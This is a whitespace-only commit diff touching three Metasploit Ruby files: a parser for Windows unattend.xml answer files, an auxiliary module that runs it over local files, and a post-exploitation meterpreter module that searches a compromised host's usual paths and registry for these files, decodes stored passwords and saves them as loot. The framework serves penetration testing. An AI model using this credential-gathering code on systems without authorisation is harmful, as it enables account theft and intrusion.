Retab changes for PR #1770

bug/bundler_fix
Tab Assassin 2013-09-05 14:57:40 -05:00
parent 269c1a26cb
commit 2846a5d680
3 changed files with 316 additions and 316 deletions

View File

@ -11,161 +11,161 @@ module Parser
# http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx
# Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx
class Unattend
require 'rex/text'
require 'rex/text'
def self.parse(xml)
return [] if xml.nil?
results = []
unattend = xml.elements['unattend']
return [] if unattend.nil?
unattend.each_element do |settings|
next if settings.class != REXML::Element
settings.get_elements('component').each do |c|
next if c.class != REXML::Element
results << extract_useraccounts(c.elements['UserAccounts'])
results << extract_autologon(c.elements['AutoLogon'])
results << extract_deployment(c.elements['WindowsDeploymentServices'])
results << extract_domain_join(c.elements['Identification/Credentials'])
end
end
return results.flatten
end
def self.parse(xml)
return [] if xml.nil?
results = []
unattend = xml.elements['unattend']
return [] if unattend.nil?
unattend.each_element do |settings|
next if settings.class != REXML::Element
settings.get_elements('component').each do |c|
next if c.class != REXML::Element
results << extract_useraccounts(c.elements['UserAccounts'])
results << extract_autologon(c.elements['AutoLogon'])
results << extract_deployment(c.elements['WindowsDeploymentServices'])
results << extract_domain_join(c.elements['Identification/Credentials'])
end
end
return results.flatten
end
#
# Extract sensitive data from Deployment Services.
# We can only seem to add one <Login> with Windows System Image Manager, so
# we'll only enum one.
#
def self.extract_deployment(deployment)
return [] if deployment.nil?
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
#
# Extract sensitive data from Deployment Services.
# We can only seem to add one <Login> with Windows System Image Manager, so
# we'll only enum one.
#
def self.extract_deployment(deployment)
return [] if deployment.nil?
domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue ''
username = deployment.elements['Login/Credentials/Username'].get_text.value rescue ''
password = deployment.elements['Login/Credentials/Password'].get_text.value rescue ''
plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true'
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
end
return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password }
end
#
# Extract sensitive data from 'Secure' Domain Join
#
def self.extract_domain_join(credentials)
return [] if credentials.nil?
domain = credentials.elements['Domain'].get_text.value rescue ''
username = credentials.elements['Username'].get_text.value rescue ''
password = credentials.elements['Password'].get_text.value rescue ''
#
# Extract sensitive data from 'Secure' Domain Join
#
def self.extract_domain_join(credentials)
return [] if credentials.nil?
domain = credentials.elements['Domain'].get_text.value rescue ''
username = credentials.elements['Username'].get_text.value rescue ''
password = credentials.elements['Password'].get_text.value rescue ''
return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password }
end
return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password }
end
#
# Extract sensitive data from AutoLogon
#
def self.extract_autologon(auto_logon)
return [] if auto_logon.nil?
#
# Extract sensitive data from AutoLogon
#
def self.extract_autologon(auto_logon)
return [] if auto_logon.nil?
domain = auto_logon.elements['Domain'].get_text.value rescue ''
username = auto_logon.elements['Username'].get_text.value rescue ''
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
domain = auto_logon.elements['Domain'].get_text.value rescue ''
username = auto_logon.elements['Username'].get_text.value rescue ''
password = auto_logon.elements['Password/Value'].get_text.value rescue ''
plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true'
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end
return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password }
end
return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password }
end
#
# Extract sensitive data from UserAccounts
#
def self.extract_useraccounts(user_accounts)
return[] if user_accounts.nil?
#
# Extract sensitive data from UserAccounts
#
def self.extract_useraccounts(user_accounts)
return[] if user_accounts.nil?
results = []
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
account_types.each do |t|
element = user_accounts.elements[t]
next if element.nil?
results = []
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
account_types.each do |t|
element = user_accounts.elements[t]
next if element.nil?
case t
#
# Extract the password from AdministratorPasswords
#
when account_types[0]
password = element.elements['Value'].get_text.value rescue ''
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
case t
#
# Extract the password from AdministratorPasswords
#
when account_types[0]
password = element.elements['Value'].get_text.value rescue ''
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
end
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
end
if not password.empty?
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
end
if not password.empty?
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
end
#
# Extract the sensitive data from DomainAccounts.
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
#
when account_types[1] #DomainAccounts
element.elements.each do |account_list|
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
#
# Extract the sensitive data from DomainAccounts.
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
#
when account_types[1] #DomainAccounts
element.elements.each do |account_list|
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
results << {'type' => 'domain', 'username' => name, 'group' => group}
end
#
# Extract the username/password from LocalAccounts
#
when account_types[2] #LocalAccounts
element.elements.each do |local|
password = local.elements['Password/Value'].get_text.value rescue ''
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
results << {'type' => 'domain', 'username' => name, 'group' => group}
end
#
# Extract the username/password from LocalAccounts
#
when account_types[2] #LocalAccounts
element.elements.each do |local|
password = local.elements['Password/Value'].get_text.value rescue ''
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end
if plaintext == 'false'
password = Rex::Text.decode_base64(password)
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
end
username = local.elements['Name'].get_text.value rescue ''
results << {'type' => 'local', 'username' => username, 'password' => password}
end
end
end
username = local.elements['Name'].get_text.value rescue ''
results << {'type' => 'local', 'username' => username, 'password' => password}
end
end
end
return results
end
return results
end
def self.create_table(results)
return nil if results.nil? or results.empty?
table = Rex::Ui::Text::Table.new({
'Header' => 'Unattend Credentials',
'Indent' => 1,
'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups']
})
def self.create_table(results)
return nil if results.nil? or results.empty?
table = Rex::Ui::Text::Table.new({
'Header' => 'Unattend Credentials',
'Indent' => 1,
'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups']
})
results.each do |result|
case result['type']
when 'wds', 'auto', 'domain_join'
table << [result['type'], result['domain'], result['username'], result['password'], ""]
when 'admin', 'local'
table << [result['type'], "", result['username'], result['password'], ""]
when 'domain'
table << [result['type'], "", result['username'], "", result['group']]
end
end
results.each do |result|
case result['type']
when 'wds', 'auto', 'domain_join'
table << [result['type'], result['domain'], result['username'], result['password'], ""]
when 'admin', 'local'
table << [result['type'], "", result['username'], result['password'], ""]
when 'domain'
table << [result['type'], "", result['username'], "", result['group']]
end
end
return table
end
return table
end
end
end
end

View File

@ -10,60 +10,60 @@ require 'rex/parser/unattend'
class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super( update_info( info,
'Name' => 'Auxilliary Parser Windows Unattend Passwords',
'Description' => %q{
This module parses Unattend files in the target directory.
def initialize(info={})
super( update_info( info,
'Name' => 'Auxilliary Parser Windows Unattend Passwords',
'Description' => %q{
This module parses Unattend files in the target directory.
See also: post/windows/gather/enum_unattend
},
'License' => MSF_LICENSE,
'Author' =>[
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
],
'References' =>
[
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
],
))
See also: post/windows/gather/enum_unattend
},
'License' => MSF_LICENSE,
'Author' =>[
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
],
'References' =>
[
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
],
))
register_options([
OptPath.new('PATH', [true, 'Directory or file to parse.']),
OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]),
])
end
register_options([
OptPath.new('PATH', [true, 'Directory or file to parse.']),
OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]),
])
end
def run
if datastore['RECURSIVE']
ext = "**/*.xml"
else
ext = "/*.xml"
end
def run
if datastore['RECURSIVE']
ext = "**/*.xml"
else
ext = "/*.xml"
end
if datastore['PATH'].ends_with('.xml')
filepath = datastore['PATH']
else
filepath = File.join(datastore['PATH'], ext)
end
if datastore['PATH'].ends_with('.xml')
filepath = datastore['PATH']
else
filepath = File.join(datastore['PATH'], ext)
end
Dir.glob(filepath) do |item|
print_status "Processing #{item}"
file = File.read(item)
begin
xml = REXML::Document.new(file)
rescue REXML::ParseException => e
print_error("#{item} invalid xml format.")
vprint_line(e.message)
next
end
Dir.glob(filepath) do |item|
print_status "Processing #{item}"
file = File.read(item)
begin
xml = REXML::Document.new(file)
rescue REXML::ParseException => e
print_error("#{item} invalid xml format.")
vprint_line(e.message)
next
end
results = Rex::Parser::Unattend.parse(xml)
table = Rex::Parser::Unattend.create_table(results)
print_line table.to_s unless table.nil?
print_line
end
end
results = Rex::Parser::Unattend.parse(xml)
table = Rex::Parser::Unattend.create_table(results)
print_line table.to_s unless table.nil?
print_line
end
end
end

View File

@ -12,167 +12,167 @@ require 'rexml/document'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Unattended Answer File Enumeration',
'Description' => %q{
This module will check the file system for a copy of unattend.xml and/or
autounattend.xml found in Windows Vista, or newer Windows systems. And then
extract sensitive information such as usernames and decoded passwords.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Sean Verity <veritysr1980[at]gmail.com>',
'sinn3r',
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
],
'References' =>
[
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Unattended Answer File Enumeration',
'Description' => %q{
This module will check the file system for a copy of unattend.xml and/or
autounattend.xml found in Windows Vista, or newer Windows systems. And then
extract sensitive information such as usernames and decoded passwords.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Sean Verity <veritysr1980[at]gmail.com>',
'sinn3r',
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
],
'References' =>
[
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx']
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
], self.class)
end
register_options(
[
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
], self.class)
end
#
# Determine if unattend.xml exists or not
#
def unattend_exists?(xml_path)
x = session.fs.file.stat(xml_path) rescue nil
return !x.nil?
end
#
# Determine if unattend.xml exists or not
#
def unattend_exists?(xml_path)
x = session.fs.file.stat(xml_path) rescue nil
return !x.nil?
end
#
# Read and parse the XML file
#
def load_unattend(xml_path)
print_status("Reading #{xml_path}")
f = session.fs.file.new(xml_path)
raw = ""
until f.eof?
raw << f.read
end
#
# Read and parse the XML file
#
def load_unattend(xml_path)
print_status("Reading #{xml_path}")
f = session.fs.file.new(xml_path)
raw = ""
until f.eof?
raw << f.read
end
begin
xml = REXML::Document.new(raw)
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
return nil, raw
end
begin
xml = REXML::Document.new(raw)
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
return nil, raw
end
return xml, raw
end
return xml, raw
end
#
# Save Rex tables separately
#
def save_cred_tables(cred_table)
t = cred_table
vprint_line("\n#{t.to_s}\n")
p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header)
print_status("#{t.header} saved as: #{p}")
end
#
# Save Rex tables separately
#
def save_cred_tables(cred_table)
t = cred_table
vprint_line("\n#{t.to_s}\n")
p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header)
print_status("#{t.header} saved as: #{p}")
end
#
# Save the raw version of unattend.xml
#
def save_raw(xmlpath, data)
return if data.empty?
fname = ::File.basename(xmlpath)
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
print_status("Raw version of #{fname} saved as: #{p}")
end
#
# Save the raw version of unattend.xml
#
def save_raw(xmlpath, data)
return if data.empty?
fname = ::File.basename(xmlpath)
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
print_status("Raw version of #{fname} saved as: #{p}")
end
#
# If we spot a path for the answer file, we should check it out too
#
def get_registry_unattend_path
# HKLM\System\Setup!UnattendFile
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
fname = key.query_value('Setup!UnattendFile').data
return fname
rescue Rex::Post::Meterpreter::RequestError
return ''
end
end
#
# If we spot a path for the answer file, we should check it out too
#
def get_registry_unattend_path
# HKLM\System\Setup!UnattendFile
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
fname = key.query_value('Setup!UnattendFile').data
return fname
rescue Rex::Post::Meterpreter::RequestError
return ''
end
end
#
# Initialize all 7 possible paths for the answer file
#
def init_paths
drive = session.fs.file.expand_path("%SystemDrive%")
#
# Initialize all 7 possible paths for the answer file
#
def init_paths
drive = session.fs.file.expand_path("%SystemDrive%")
files =
[
'unattend.xml',
'autounattend.xml'
]
files =
[
'unattend.xml',
'autounattend.xml'
]
target_paths =
[
"#{drive}\\",
"#{drive}\\Windows\\System32\\sysprep\\",
"#{drive}\\Windows\\panther\\",
"#{drive}\\Windows\\Panther\Unattend\\",
"#{drive}\\Windows\\System32\\"
]
target_paths =
[
"#{drive}\\",
"#{drive}\\Windows\\System32\\sysprep\\",
"#{drive}\\Windows\\panther\\",
"#{drive}\\Windows\\Panther\Unattend\\",
"#{drive}\\Windows\\System32\\"
]
paths = []
target_paths.each do |p|
files.each do |f|
paths << "#{p}#{f}"
end
end
paths = []
target_paths.each do |p|
files.each do |f|
paths << "#{p}#{f}"
end
end
# If there is one for registry, we add it to the list too
reg_path = get_registry_unattend_path
paths << reg_path if not reg_path.empty?
# If there is one for registry, we add it to the list too
reg_path = get_registry_unattend_path
paths << reg_path if not reg_path.empty?
return paths
end
return paths
end
def run
init_paths.each do |xml_path|
# If unattend.xml doesn't exist, move on to the next one
if not unattend_exists?(xml_path)
vprint_error("#{xml_path} not found")
next
end
def run
init_paths.each do |xml_path|
# If unattend.xml doesn't exist, move on to the next one
if not unattend_exists?(xml_path)
vprint_error("#{xml_path} not found")
next
end
xml, raw = load_unattend(xml_path)
save_raw(xml_path, raw)
xml, raw = load_unattend(xml_path)
save_raw(xml_path, raw)
# XML failed to parse, will not go on from here
return if not xml
# XML failed to parse, will not go on from here
return if not xml
results = Rex::Parser::Unattend.parse(xml)
table = Rex::Parser::Unattend.create_table(results)
table.print unless table.nil?
print_line
results = Rex::Parser::Unattend.parse(xml)
table = Rex::Parser::Unattend.create_table(results)
table.print unless table.nil?
print_line
# Save the data
save_cred_tables(table) if not table.nil?
# Save the data
save_cred_tables(table) if not table.nil?
return if not datastore['GETALL']
end
end
return if not datastore['GETALL']
end
end
end